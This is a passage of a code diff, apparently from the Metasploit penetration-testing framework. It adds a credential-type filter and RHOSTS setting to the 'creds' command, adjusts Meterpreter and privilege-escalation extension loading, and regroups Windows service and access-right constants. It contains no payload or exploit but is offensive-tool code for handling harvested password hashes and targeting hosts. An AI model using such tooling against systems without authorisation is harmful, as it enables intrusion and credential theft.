# Anything that wasn't an option is a host to search for
|
||||||
unless (arg_host_range(arg, host_ranges))
|
unless (arg_host_range(arg, host_ranges))
|
||||||
|
@ -822,6 +834,20 @@ class Db
|
||||||
pass_regex = Regexp.compile(pass)
|
pass_regex = Regexp.compile(pass)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if ptype
|
||||||
|
type = case ptype
|
||||||
|
when 'password'
|
||||||
|
Metasploit::Credential::Password
|
||||||
|
when 'hash'
|
||||||
|
Metasploit::Credential::PasswordHash
|
||||||
|
when 'ntlm'
|
||||||
|
Metasploit::Credential::NTLMHash
|
||||||
|
else
|
||||||
|
print_error("Unrecognized credential type #{ptype} -- must be one of #{allowed_cred_types.join(',')}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
# normalize
|
# normalize
|
||||||
ports = port_ranges.flatten.uniq
|
ports = port_ranges.flatten.uniq
|
||||||
svcs.flatten!
|
svcs.flatten!
|
||||||
|
@ -839,6 +865,9 @@ class Db
|
||||||
|
|
||||||
query.each do |core|
|
query.each do |core|
|
||||||
|
|
||||||
|
# Exclude creds that don't match the given type
|
||||||
|
next if type.present? && !core.private.kind_of?(type)
|
||||||
|
|
||||||
# Exclude creds that don't match the given user
|
# Exclude creds that don't match the given user
|
||||||
if user_regex.present? && !core.public.username.match(user_regex)
|
if user_regex.present? && !core.public.username.match(user_regex)
|
||||||
next
|
next
|
||||||
|
@ -880,6 +909,7 @@ class Db
|
||||||
next
|
next
|
||||||
end
|
end
|
||||||
row = [ login.service.host.address ]
|
row = [ login.service.host.address ]
|
||||||
|
rhosts << login.service.host.address
|
||||||
if login.service.name.present?
|
if login.service.name.present?
|
||||||
row << "#{login.service.port}/#{login.service.proto} (#{login.service.name})"
|
row << "#{login.service.port}/#{login.service.proto} (#{login.service.name})"
|
||||||
else
|
else
|
||||||
|
@ -908,7 +938,8 @@ class Db
|
||||||
::File.open(output_file, "wb") { |f| f.write(tbl.to_csv) }
|
::File.open(output_file, "wb") { |f| f.write(tbl.to_csv) }
|
||||||
print_status("Wrote creds to #{output_file}")
|
print_status("Wrote creds to #{output_file}")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
set_rhosts_from_addrs(rhosts.uniq) if set_rhosts
|
||||||
print_status("Deleted #{delete_count} creds") if delete_count > 0
|
print_status("Deleted #{delete_count} creds") if delete_count > 0
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
|
@ -1291,7 +1291,7 @@ class Site
|
||||||
xml << ' <ScanTriggers>'
|
xml << ' <ScanTriggers>'
|
||||||
@site_config.scanConfig.scanTriggers.each do |s|
|
@site_config.scanConfig.scanTriggers.each do |s|
|
||||||
|
|
||||||
if (s.class.to_s == "Nexpose::AutoUpdate")
|
if s.kind_of?(Nexpose::AutoUpdate)
|
||||||
xml << ' <autoUpdate enabled="' + s.enabled + '" incremental="' + s.incremental + '"/>'
|
xml << ' <autoUpdate enabled="' + s.enabled + '" incremental="' + s.incremental + '"/>'
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -159,15 +159,13 @@ class ClientCore < Extension
|
||||||
path = MeterpreterBinaries.path(modname, client.binary_suffix)
|
path = MeterpreterBinaries.path(modname, client.binary_suffix)
|
||||||
|
|
||||||
if opts['ExtensionPath']
|
if opts['ExtensionPath']
|
||||||
path = opts['ExtensionPath']
|
path = ::File.expand_path(opts['ExtensionPath'])
|
||||||
end
|
end
|
||||||
|
|
||||||
if path.nil?
|
if path.nil?
|
||||||
raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
|
raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
|
||||||
end
|
end
|
||||||
|
|
||||||
path = ::File.expand_path(path)
|
|
||||||
|
|
||||||
# Load the extension DLL
|
# Load the extension DLL
|
||||||
commands = load_library(
|
commands = load_library(
|
||||||
'LibraryFilePath' => path,
|
'LibraryFilePath' => path,
|
||||||
|
|
|
@ -50,8 +50,6 @@ class Priv < Extension
|
||||||
raise RuntimeError, "elevator.#{binary_suffix} not found", caller
|
raise RuntimeError, "elevator.#{binary_suffix} not found", caller
|
||||||
end
|
end
|
||||||
|
|
||||||
elevator_path = ::File.expand_path( elevator_path )
|
|
||||||
|
|
||||||
elevator_data = ""
|
elevator_data = ""
|
||||||
|
|
||||||
::File.open( elevator_path, "rb" ) { |f|
|
::File.open( elevator_path, "rb" ) { |f|
|
||||||
|
|
|
@ -203,10 +203,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
|
||||||
alias delete rm
|
alias delete rm
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Performs a rename from oldname to newname
|
# Performs a rename from oldname to newname
|
||||||
#
|
#
|
||||||
def File.mv(oldname, newname)
|
def File.mv(oldname, newname)
|
||||||
request = Packet.create_request('stdapi_fs_file_move')
|
request = Packet.create_request('stdapi_fs_file_move')
|
||||||
|
|
||||||
request.add_tlv(TLV_TYPE_FILE_NAME, client.unicode_filter_decode( oldname ))
|
request.add_tlv(TLV_TYPE_FILE_NAME, client.unicode_filter_decode( oldname ))
|
||||||
|
@ -215,12 +215,12 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
|
||||||
response = client.send_request(request)
|
response = client.send_request(request)
|
||||||
|
|
||||||
return response
|
return response
|
||||||
end
|
end
|
||||||
|
|
||||||
class << self
|
class << self
|
||||||
alias move mv
|
alias move mv
|
||||||
alias rename mv
|
alias rename mv
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Upload one or more files to the remote remote directory supplied in
|
# Upload one or more files to the remote remote directory supplied in
|
||||||
|
|
|
@ -370,7 +370,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('SQL_CVT_LONGVARBINARY',0x00040000)
|
win_const_mgr.add_const('SQL_CVT_LONGVARBINARY',0x00040000)
|
||||||
win_const_mgr.add_const('WM_RESTORE_INDIVIDUALIZE',0x00000002)
|
win_const_mgr.add_const('WM_RESTORE_INDIVIDUALIZE',0x00000002)
|
||||||
win_const_mgr.add_const('ARRAY_SEP_CHAR',0x00000009)
|
win_const_mgr.add_const('ARRAY_SEP_CHAR',0x00000009)
|
||||||
win_const_mgr.add_const('SC_MANAGER_CREATE_SERVICE',0x00000002)
|
|
||||||
win_const_mgr.add_const('ERROR_NO_SAVEPOINT_WITH_OPEN_FILES',0x00001ABA)
|
win_const_mgr.add_const('ERROR_NO_SAVEPOINT_WITH_OPEN_FILES',0x00001ABA)
|
||||||
win_const_mgr.add_const('OID_FDDI_SMT_STATION_ACTION',0x03030277)
|
win_const_mgr.add_const('OID_FDDI_SMT_STATION_ACTION',0x03030277)
|
||||||
win_const_mgr.add_const('OID_PNP_ADD_WAKE_UP_PATTERN',0xFD010103)
|
win_const_mgr.add_const('OID_PNP_ADD_WAKE_UP_PATTERN',0xFD010103)
|
||||||
|
@ -2357,7 +2356,70 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('RTM_VIEW_MASK_UCAST',0x00000001)
|
win_const_mgr.add_const('RTM_VIEW_MASK_UCAST',0x00000001)
|
||||||
win_const_mgr.add_const('CERT_ALT_NAME_VALUE_ERR_INDEX_MASK',0x0000FFFF)
|
win_const_mgr.add_const('CERT_ALT_NAME_VALUE_ERR_INDEX_MASK',0x0000FFFF)
|
||||||
win_const_mgr.add_const('ERROR_NO_SUCH_GROUP',0x00000527)
|
win_const_mgr.add_const('ERROR_NO_SUCH_GROUP',0x00000527)
|
||||||
|
|
||||||
|
# Generic Access Rights
|
||||||
win_const_mgr.add_const('GENERIC_ALL',0x10000000)
|
win_const_mgr.add_const('GENERIC_ALL',0x10000000)
|
||||||
|
win_const_mgr.add_const('GENERIC_EXECUTE',0x20000000)
|
||||||
|
win_const_mgr.add_const('GENERIC_WRITE',0x40000000)
|
||||||
|
win_const_mgr.add_const('GENERIC_READ',0x80000000)
|
||||||
|
|
||||||
|
|
||||||
|
# Standard Access Rights
|
||||||
|
win_const_mgr.add_const('DELETE',0x00010000)
|
||||||
|
win_const_mgr.add_const('READ_CONTROL',0x00020000)
|
||||||
|
win_const_mgr.add_const('WRITE_DAC',0x00040000)
|
||||||
|
win_const_mgr.add_const('WRITE_OWNER',0x00080000)
|
||||||
|
win_const_mgr.add_const('ACCESS_SYSTEM_SECURITY',0x01000000)
|
||||||
|
|
||||||
|
# Services
|
||||||
|
win_const_mgr.add_const('SERVICE_NO_CHANGE',0xFFFFFFFF)
|
||||||
|
|
||||||
|
# Service Start Types
|
||||||
|
win_const_mgr.add_const('START_TYPE_BOOT',0x00000000)
|
||||||
|
win_const_mgr.add_const('START_TYPE_SYSTEM',0x00000001)
|
||||||
|
win_const_mgr.add_const('START_TYPE_AUTO',0x00000002)
|
||||||
|
win_const_mgr.add_const('START_TYPE_MANUAL',0x00000003)
|
||||||
|
win_const_mgr.add_const('START_TYPE_DISABLED',0x00000004)
|
||||||
|
|
||||||
|
# Service States
|
||||||
|
win_const_mgr.add_const('SERVICE_STOPPED',0x00000001)
|
||||||
|
win_const_mgr.add_const('SERVICE_START_PENDING',0x00000002)
|
||||||
|
win_const_mgr.add_const('SERVICE_STOP_PENDING',0x00000003)
|
||||||
|
win_const_mgr.add_const('SERVICE_RUNNING',0x00000004)
|
||||||
|
win_const_mgr.add_const('SERVICE_CONTINUE_PENDING',0x00000005)
|
||||||
|
win_const_mgr.add_const('SERVICE_PAUSE_PENDING',0x00000006)
|
||||||
|
win_const_mgr.add_const('SERVICE_PAUSED',0x00000007)
|
||||||
|
|
||||||
|
# Service Types
|
||||||
|
win_const_mgr.add_const('SERVICE_KERNEL_DRIVER',0x00000001)
|
||||||
|
win_const_mgr.add_const('SERVICE_FILE_SYSTEM_DRIVER',0x00000002)
|
||||||
|
win_const_mgr.add_const('SERVICE_ADAPTER',0x00000004)
|
||||||
|
win_const_mgr.add_const('SERVICE_RECOGNIZER_DRIVER',0x00000008)
|
||||||
|
win_const_mgr.add_const('SERVICE_WIN32_OWN_PROCESS',0x00000010)
|
||||||
|
win_const_mgr.add_const('SERVICE_WIN32_SHARE_PROCESS',0x00000020)
|
||||||
|
|
||||||
|
# Service Manager Permissions
|
||||||
|
win_const_mgr.add_const('SC_MANAGER_CONNECT',0x00000001)
|
||||||
|
win_const_mgr.add_const('SC_MANAGER_CREATE_SERVICE',0x00000002)
|
||||||
|
win_const_mgr.add_const('SC_MANAGER_ENUMERATE_SERVICE',0x00000004)
|
||||||
|
win_const_mgr.add_const('SC_MANAGER_LOCK',0x00000008)
|
||||||
|
win_const_mgr.add_const('SC_MANAGER_QUERY_LOCK_STATUS',0x00000010)
|
||||||
|
win_const_mgr.add_const('SC_MANAGER_MODIFY_BOOT_CONFIG',0x00000020)
|
||||||
|
win_const_mgr.add_const('SC_MANAGER_USER_DEFINED_CONTROL',0x00000100)
|
||||||
|
win_const_mgr.add_const('SC_MANAGER_ALL_ACCESS',0x000F003F)
|
||||||
|
|
||||||
|
# Service Permissions
|
||||||
|
win_const_mgr.add_const('SERVICE_QUERY_CONFIG',0x00000001)
|
||||||
|
win_const_mgr.add_const('SERVICE_CHANGE_CONFIG',0x00000002)
|
||||||
|
win_const_mgr.add_const('SERVICE_QUERY_STATUS',0x00000004)
|
||||||
|
win_const_mgr.add_const('SERVICE_ENUMERATE_DEPENDENTS',0x00000008)
|
||||||
|
win_const_mgr.add_const('SERVICE_START',0x00000010)
|
||||||
|
win_const_mgr.add_const('SERVICE_STOP',0x00000020)
|
||||||
|
win_const_mgr.add_const('SERVICE_PAUSE_CONTINUE',0x00000040)
|
||||||
|
win_const_mgr.add_const('SERVICE_INTERROGATE',0x00000080)
|
||||||
|
win_const_mgr.add_const('SERVICE_USER_DEFINED_CONTROL',0x00000100)
|
||||||
|
win_const_mgr.add_const('SERVICE_ALL_ACCESS',0x000F01FF)
|
||||||
|
|
||||||
win_const_mgr.add_const('LINEINITIALIZEEXOPTION_USECOMPLETIONPORT',0x00000003)
|
win_const_mgr.add_const('LINEINITIALIZEEXOPTION_USECOMPLETIONPORT',0x00000003)
|
||||||
win_const_mgr.add_const('AVIIF_TWOCC',0x00000002)
|
win_const_mgr.add_const('AVIIF_TWOCC',0x00000002)
|
||||||
win_const_mgr.add_const('TBTS_LEFT',0x00000001)
|
win_const_mgr.add_const('TBTS_LEFT',0x00000001)
|
||||||
|
@ -3408,7 +3470,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('SQL_DS_RESTRICT',0x00000002)
|
win_const_mgr.add_const('SQL_DS_RESTRICT',0x00000002)
|
||||||
win_const_mgr.add_const('SQL_FD_FETCH_NEXT',0x00000001)
|
win_const_mgr.add_const('SQL_FD_FETCH_NEXT',0x00000001)
|
||||||
win_const_mgr.add_const('HTTP_QUERY_ACCEPT_LANGUAGE',0x0000001B)
|
win_const_mgr.add_const('HTTP_QUERY_ACCEPT_LANGUAGE',0x0000001B)
|
||||||
win_const_mgr.add_const('SC_MANAGER_LOCK',0x00000008)
|
|
||||||
win_const_mgr.add_const('CM_CDMASK_VALID',0x0000000F)
|
win_const_mgr.add_const('CM_CDMASK_VALID',0x0000000F)
|
||||||
win_const_mgr.add_const('DI_NEEDRESTART',0x00000080)
|
win_const_mgr.add_const('DI_NEEDRESTART',0x00000080)
|
||||||
win_const_mgr.add_const('DSOP_DOWNLEVEL_FILTER_NETWORK',0x80001000)
|
win_const_mgr.add_const('DSOP_DOWNLEVEL_FILTER_NETWORK',0x80001000)
|
||||||
|
@ -4450,7 +4511,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('WGL_SWAP_UNDERLAY1',0x00010000)
|
win_const_mgr.add_const('WGL_SWAP_UNDERLAY1',0x00010000)
|
||||||
win_const_mgr.add_const('CRYPTDLG_ACTION_MASK',0xFFFF0000)
|
win_const_mgr.add_const('CRYPTDLG_ACTION_MASK',0xFFFF0000)
|
||||||
win_const_mgr.add_const('MCI_ANIM_WINDOW_HWND',0x00010000)
|
win_const_mgr.add_const('MCI_ANIM_WINDOW_HWND',0x00010000)
|
||||||
win_const_mgr.add_const('SERVICE_QUERY_CONFIG',0x00000001)
|
|
||||||
win_const_mgr.add_const('MF_MEDIATYPE_EQUAL_FORMAT_DATA',0x00000004)
|
win_const_mgr.add_const('MF_MEDIATYPE_EQUAL_FORMAT_DATA',0x00000004)
|
||||||
win_const_mgr.add_const('USE_REMOTE_PARMNUM',0x00000002)
|
win_const_mgr.add_const('USE_REMOTE_PARMNUM',0x00000002)
|
||||||
win_const_mgr.add_const('CF_PALETTE',0x00000009)
|
win_const_mgr.add_const('CF_PALETTE',0x00000009)
|
||||||
|
@ -5623,7 +5683,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('SQL_DROP_VIEW',0x0000008F)
|
win_const_mgr.add_const('SQL_DROP_VIEW',0x0000008F)
|
||||||
win_const_mgr.add_const('FEI_MODEM_POWERED_ON',0x00000011)
|
win_const_mgr.add_const('FEI_MODEM_POWERED_ON',0x00000011)
|
||||||
win_const_mgr.add_const('WNODE_FLAG_INTERNAL',0x00000100)
|
win_const_mgr.add_const('WNODE_FLAG_INTERNAL',0x00000100)
|
||||||
win_const_mgr.add_const('SERVICE_START_PENDING',0x00000002)
|
|
||||||
win_const_mgr.add_const('ERROR_SXS_INVALID_ACTCTXDATA_FORMAT',0x000036B2)
|
win_const_mgr.add_const('ERROR_SXS_INVALID_ACTCTXDATA_FORMAT',0x000036B2)
|
||||||
win_const_mgr.add_const('ACMFILTERTAGDETAILS_FILTERTAG_CHARS',0x00000030)
|
win_const_mgr.add_const('ACMFILTERTAGDETAILS_FILTERTAG_CHARS',0x00000030)
|
||||||
win_const_mgr.add_const('MAPI_E_ATTACHMENT_WRITE_FAILURE',0x0000000D)
|
win_const_mgr.add_const('MAPI_E_ATTACHMENT_WRITE_FAILURE',0x0000000D)
|
||||||
|
@ -9255,7 +9314,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('TAPE_SPACE_RELATIVE_BLOCKS',0x00000005)
|
win_const_mgr.add_const('TAPE_SPACE_RELATIVE_BLOCKS',0x00000005)
|
||||||
win_const_mgr.add_const('DBT_DEVICEARRIVAL',0x00008000)
|
win_const_mgr.add_const('DBT_DEVICEARRIVAL',0x00008000)
|
||||||
win_const_mgr.add_const('IMAGE_REL_ALPHA_REFHI',0x0000000A)
|
win_const_mgr.add_const('IMAGE_REL_ALPHA_REFHI',0x0000000A)
|
||||||
win_const_mgr.add_const('SERVICE_WIN32_SHARE_PROCESS',0x00000020)
|
|
||||||
win_const_mgr.add_const('R2_NOTCOPYPEN',0x00000004)
|
win_const_mgr.add_const('R2_NOTCOPYPEN',0x00000004)
|
||||||
win_const_mgr.add_const('POLICY_ERRV_GLOBAL_GRP_PEAK_RATE',0x0000001A)
|
win_const_mgr.add_const('POLICY_ERRV_GLOBAL_GRP_PEAK_RATE',0x0000001A)
|
||||||
win_const_mgr.add_const('VTBIT_CY',0x00000001)
|
win_const_mgr.add_const('VTBIT_CY',0x00000001)
|
||||||
|
@ -9859,7 +9917,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('DISPID_FILELISTENUMDONE',0x000000C9)
|
win_const_mgr.add_const('DISPID_FILELISTENUMDONE',0x000000C9)
|
||||||
win_const_mgr.add_const('DBPROPVAL_IN_DISALLOWNULL',0x00000001)
|
win_const_mgr.add_const('DBPROPVAL_IN_DISALLOWNULL',0x00000001)
|
||||||
win_const_mgr.add_const('PP_PROVTYPE',0x00000010)
|
win_const_mgr.add_const('PP_PROVTYPE',0x00000010)
|
||||||
win_const_mgr.add_const('SERVICE_PAUSE_PENDING',0x00000006)
|
|
||||||
win_const_mgr.add_const('MWMO_WAITALL',0x00000001)
|
win_const_mgr.add_const('MWMO_WAITALL',0x00000001)
|
||||||
win_const_mgr.add_const('PIR_STATUS_ERROR',0x00000000)
|
win_const_mgr.add_const('PIR_STATUS_ERROR',0x00000000)
|
||||||
win_const_mgr.add_const('ERROR_DS_NO_DELETED_NAME',0x000020A3)
|
win_const_mgr.add_const('ERROR_DS_NO_DELETED_NAME',0x000020A3)
|
||||||
|
@ -10819,7 +10876,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('LINEADDRCAPFLAGS_QUEUE',0x01000000)
|
win_const_mgr.add_const('LINEADDRCAPFLAGS_QUEUE',0x01000000)
|
||||||
win_const_mgr.add_const('PRINTER_ACCESS_ADMINISTER',0x00000004)
|
win_const_mgr.add_const('PRINTER_ACCESS_ADMINISTER',0x00000004)
|
||||||
win_const_mgr.add_const('SECPKG_CALL_THREAD_TERM',0x00000080)
|
win_const_mgr.add_const('SECPKG_CALL_THREAD_TERM',0x00000080)
|
||||||
win_const_mgr.add_const('SERVICE_RECOGNIZER_DRIVER',0x00000008)
|
|
||||||
win_const_mgr.add_const('MD_DIRBROW_SHOW_EXTENSION',0x00000010)
|
win_const_mgr.add_const('MD_DIRBROW_SHOW_EXTENSION',0x00000010)
|
||||||
win_const_mgr.add_const('HHWIN_BUTTON_BROWSE_BCK',0x00000001)
|
win_const_mgr.add_const('HHWIN_BUTTON_BROWSE_BCK',0x00000001)
|
||||||
win_const_mgr.add_const('COLOR_WINDOWFRAME',0x00000006)
|
win_const_mgr.add_const('COLOR_WINDOWFRAME',0x00000006)
|
||||||
|
@ -11675,7 +11731,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('PORT_UAAC',0x00000091)
|
win_const_mgr.add_const('PORT_UAAC',0x00000091)
|
||||||
win_const_mgr.add_const('D3DPBLENDCAPS_SRCALPHA',0x00000010)
|
win_const_mgr.add_const('D3DPBLENDCAPS_SRCALPHA',0x00000010)
|
||||||
win_const_mgr.add_const('CALLBACK_STREAM_SWITCH',0x00000001)
|
win_const_mgr.add_const('CALLBACK_STREAM_SWITCH',0x00000001)
|
||||||
win_const_mgr.add_const('GENERIC_EXECUTE',0x20000000)
|
|
||||||
win_const_mgr.add_const('NUMPRS_PARENS',0x00000080)
|
win_const_mgr.add_const('NUMPRS_PARENS',0x00000080)
|
||||||
win_const_mgr.add_const('SHI1005_FLAGS_FORCE_SHARED_DELETE',0x00000200)
|
win_const_mgr.add_const('SHI1005_FLAGS_FORCE_SHARED_DELETE',0x00000200)
|
||||||
win_const_mgr.add_const('SQL_HC_OFF',0x00000000)
|
win_const_mgr.add_const('SQL_HC_OFF',0x00000000)
|
||||||
|
@ -11965,7 +12020,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('MCI_WAIT',0x00000002)
|
win_const_mgr.add_const('MCI_WAIT',0x00000002)
|
||||||
win_const_mgr.add_const('SPI_SETDROPSHADOW',0x00001025)
|
win_const_mgr.add_const('SPI_SETDROPSHADOW',0x00001025)
|
||||||
win_const_mgr.add_const('VK_OEM_PERIOD',0x000000BE)
|
win_const_mgr.add_const('VK_OEM_PERIOD',0x000000BE)
|
||||||
win_const_mgr.add_const('SERVICE_CHANGE_CONFIG',0x00000002)
|
|
||||||
win_const_mgr.add_const('CERT_STORE_PROV_WRITE_CTL_FUNC',0x0000000A)
|
win_const_mgr.add_const('CERT_STORE_PROV_WRITE_CTL_FUNC',0x0000000A)
|
||||||
win_const_mgr.add_const('SUBLANG_TAMAZIGHT_ALGERIA_LATIN',0x00000002)
|
win_const_mgr.add_const('SUBLANG_TAMAZIGHT_ALGERIA_LATIN',0x00000002)
|
||||||
win_const_mgr.add_const('XECR_PKCS7',0x00000002)
|
win_const_mgr.add_const('XECR_PKCS7',0x00000002)
|
||||||
|
@ -12173,7 +12227,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('MCI_VCR_FREEZE_OUTPUT',0x00020000)
|
win_const_mgr.add_const('MCI_VCR_FREEZE_OUTPUT',0x00020000)
|
||||||
win_const_mgr.add_const('DEX_IDS_NO_SOURCE_NAMES',0x0000057D)
|
win_const_mgr.add_const('DEX_IDS_NO_SOURCE_NAMES',0x0000057D)
|
||||||
win_const_mgr.add_const('SQL_OUTER_JOINS',0x00000026)
|
win_const_mgr.add_const('SQL_OUTER_JOINS',0x00000026)
|
||||||
win_const_mgr.add_const('SERVICE_ENUMERATE_DEPENDENTS',0x00000008)
|
|
||||||
win_const_mgr.add_const('CR_NO_SUCH_LOGICAL_DEV',0x00000014)
|
win_const_mgr.add_const('CR_NO_SUCH_LOGICAL_DEV',0x00000014)
|
||||||
win_const_mgr.add_const('IDC_PS_DISPLAYASICON',0x000001FA)
|
win_const_mgr.add_const('IDC_PS_DISPLAYASICON',0x000001FA)
|
||||||
win_const_mgr.add_const('GESTURE_UP_LEFT_LONG',0x00000000)
|
win_const_mgr.add_const('GESTURE_UP_LEFT_LONG',0x00000000)
|
||||||
|
@ -12243,7 +12296,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('ERROR_VOLSNAP_PREPARE_HIBERNATE',0x0000028F)
|
win_const_mgr.add_const('ERROR_VOLSNAP_PREPARE_HIBERNATE',0x0000028F)
|
||||||
win_const_mgr.add_const('TMT_CAPTIONBARHEIGHT',0x000004B5)
|
win_const_mgr.add_const('TMT_CAPTIONBARHEIGHT',0x000004B5)
|
||||||
win_const_mgr.add_const('IDM_ENABLE_INTERACTION',0x000008FE)
|
win_const_mgr.add_const('IDM_ENABLE_INTERACTION',0x000008FE)
|
||||||
win_const_mgr.add_const('DELETE',0x00010000)
|
|
||||||
win_const_mgr.add_const('CRYPTUI_WIZ_DIGITAL_SIGN_PVK',0x00000003)
|
win_const_mgr.add_const('CRYPTUI_WIZ_DIGITAL_SIGN_PVK',0x00000003)
|
||||||
win_const_mgr.add_const('ERROR_CTX_MODEM_RESPONSE_NO_CARRIER',0x00001B65)
|
win_const_mgr.add_const('ERROR_CTX_MODEM_RESPONSE_NO_CARRIER',0x00001B65)
|
||||||
win_const_mgr.add_const('OE_SETTING',0x00000004)
|
win_const_mgr.add_const('OE_SETTING',0x00000004)
|
||||||
|
@ -12431,7 +12483,7 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('ET_DITHERMODE',0x00000004)
|
win_const_mgr.add_const('ET_DITHERMODE',0x00000004)
|
||||||
win_const_mgr.add_const('AA_A_ACL',0x00008000)
|
win_const_mgr.add_const('AA_A_ACL',0x00008000)
|
||||||
win_const_mgr.add_const('MCI_UPDATE',0x00000854)
|
win_const_mgr.add_const('MCI_UPDATE',0x00000854)
|
||||||
win_const_mgr.add_const('READ_CONTROL',0x00020000)
|
|
||||||
win_const_mgr.add_const('ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST',0x00002157)
|
win_const_mgr.add_const('ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST',0x00002157)
|
||||||
win_const_mgr.add_const('IDM_IE50_PASTE',0x00000961)
|
win_const_mgr.add_const('IDM_IE50_PASTE',0x00000961)
|
||||||
win_const_mgr.add_const('DB_NULL_HCHAPTER',0x00000000)
|
win_const_mgr.add_const('DB_NULL_HCHAPTER',0x00000000)
|
||||||
|
@ -12739,7 +12791,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('OPF_DISABLECONVERT',0x00000008)
|
win_const_mgr.add_const('OPF_DISABLECONVERT',0x00000008)
|
||||||
win_const_mgr.add_const('D3DPCMPCAPS_LESS',0x00000002)
|
win_const_mgr.add_const('D3DPCMPCAPS_LESS',0x00000002)
|
||||||
win_const_mgr.add_const('D3DPRESENT_INTERVAL_TWO',0x00000002)
|
win_const_mgr.add_const('D3DPRESENT_INTERVAL_TWO',0x00000002)
|
||||||
win_const_mgr.add_const('SERVICE_STOP',0x00000020)
|
|
||||||
win_const_mgr.add_const('WLX_OPTION_SMART_CARD_INFO',0x00010002)
|
win_const_mgr.add_const('WLX_OPTION_SMART_CARD_INFO',0x00010002)
|
||||||
win_const_mgr.add_const('MAX_LANA',0x000000FE)
|
win_const_mgr.add_const('MAX_LANA',0x000000FE)
|
||||||
win_const_mgr.add_const('PLATFORM_ID_VMS',0x000002BC)
|
win_const_mgr.add_const('PLATFORM_ID_VMS',0x000002BC)
|
||||||
|
@ -14732,7 +14783,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('CDIS_GRAYED',0x00000002)
|
win_const_mgr.add_const('CDIS_GRAYED',0x00000002)
|
||||||
win_const_mgr.add_const('DISPID_QUIT',0x00000067)
|
win_const_mgr.add_const('DISPID_QUIT',0x00000067)
|
||||||
win_const_mgr.add_const('LINETOLLLISTOPTION_REMOVE',0x00000002)
|
win_const_mgr.add_const('LINETOLLLISTOPTION_REMOVE',0x00000002)
|
||||||
win_const_mgr.add_const('SERVICE_WIN32_OWN_PROCESS',0x00000010)
|
|
||||||
win_const_mgr.add_const('SM_FOCUS_TYPE_NT_DOMAIN',0x00000001)
|
win_const_mgr.add_const('SM_FOCUS_TYPE_NT_DOMAIN',0x00000001)
|
||||||
win_const_mgr.add_const('WINHTTP_CALLBACK_STATUS_REQUEST_ERROR',0x00200000)
|
win_const_mgr.add_const('WINHTTP_CALLBACK_STATUS_REQUEST_ERROR',0x00200000)
|
||||||
win_const_mgr.add_const('PORT_WPGS',0x0000030C)
|
win_const_mgr.add_const('PORT_WPGS',0x0000030C)
|
||||||
|
@ -15353,7 +15403,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('DEBUG_VSOURCE_MAPPED_IMAGE',0x00000002)
|
win_const_mgr.add_const('DEBUG_VSOURCE_MAPPED_IMAGE',0x00000002)
|
||||||
win_const_mgr.add_const('ERROR_DS_OBJ_STRING_NAME_EXISTS',0x00002071)
|
win_const_mgr.add_const('ERROR_DS_OBJ_STRING_NAME_EXISTS',0x00002071)
|
||||||
win_const_mgr.add_const('DPD_DELETE_ALL_FILES',0x00000004)
|
win_const_mgr.add_const('DPD_DELETE_ALL_FILES',0x00000004)
|
||||||
win_const_mgr.add_const('SERVICE_STOPPED',0x00000001)
|
|
||||||
win_const_mgr.add_const('DMPAPER_ENV_PERSONAL',0x00000026)
|
win_const_mgr.add_const('DMPAPER_ENV_PERSONAL',0x00000026)
|
||||||
win_const_mgr.add_const('WM_RBUTTONDBLCLK',0x00000206)
|
win_const_mgr.add_const('WM_RBUTTONDBLCLK',0x00000206)
|
||||||
win_const_mgr.add_const('SQL_CURRENT_QUALIFIER',0x0000006D)
|
win_const_mgr.add_const('SQL_CURRENT_QUALIFIER',0x0000006D)
|
||||||
|
@ -15754,7 +15803,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('ERROR_ABANDONED_WAIT_0',0x000002DF)
|
win_const_mgr.add_const('ERROR_ABANDONED_WAIT_0',0x000002DF)
|
||||||
win_const_mgr.add_const('SQL_API_SQLGETCURSORNAME',0x00000011)
|
win_const_mgr.add_const('SQL_API_SQLGETCURSORNAME',0x00000011)
|
||||||
win_const_mgr.add_const('UINT8_MAX',0x00000000)
|
win_const_mgr.add_const('UINT8_MAX',0x00000000)
|
||||||
win_const_mgr.add_const('SERVICE_NO_CHANGE',0x00000000)
|
|
||||||
win_const_mgr.add_const('AE_SRVCONT',0x00000002)
|
win_const_mgr.add_const('AE_SRVCONT',0x00000002)
|
||||||
win_const_mgr.add_const('RPC_S_GRP_ELT_NOT_REMOVED',0x00000789)
|
win_const_mgr.add_const('RPC_S_GRP_ELT_NOT_REMOVED',0x00000789)
|
||||||
win_const_mgr.add_const('ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT',0x0000083D)
|
win_const_mgr.add_const('ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT',0x0000083D)
|
||||||
|
@ -16075,7 +16123,6 @@ class ApiConstants
|
||||||
win_const_mgr.add_const('ERRCLASS_UNK',0x0000000D)
|
win_const_mgr.add_const('ERRCLASS_UNK',0x0000000D)
|
||||||
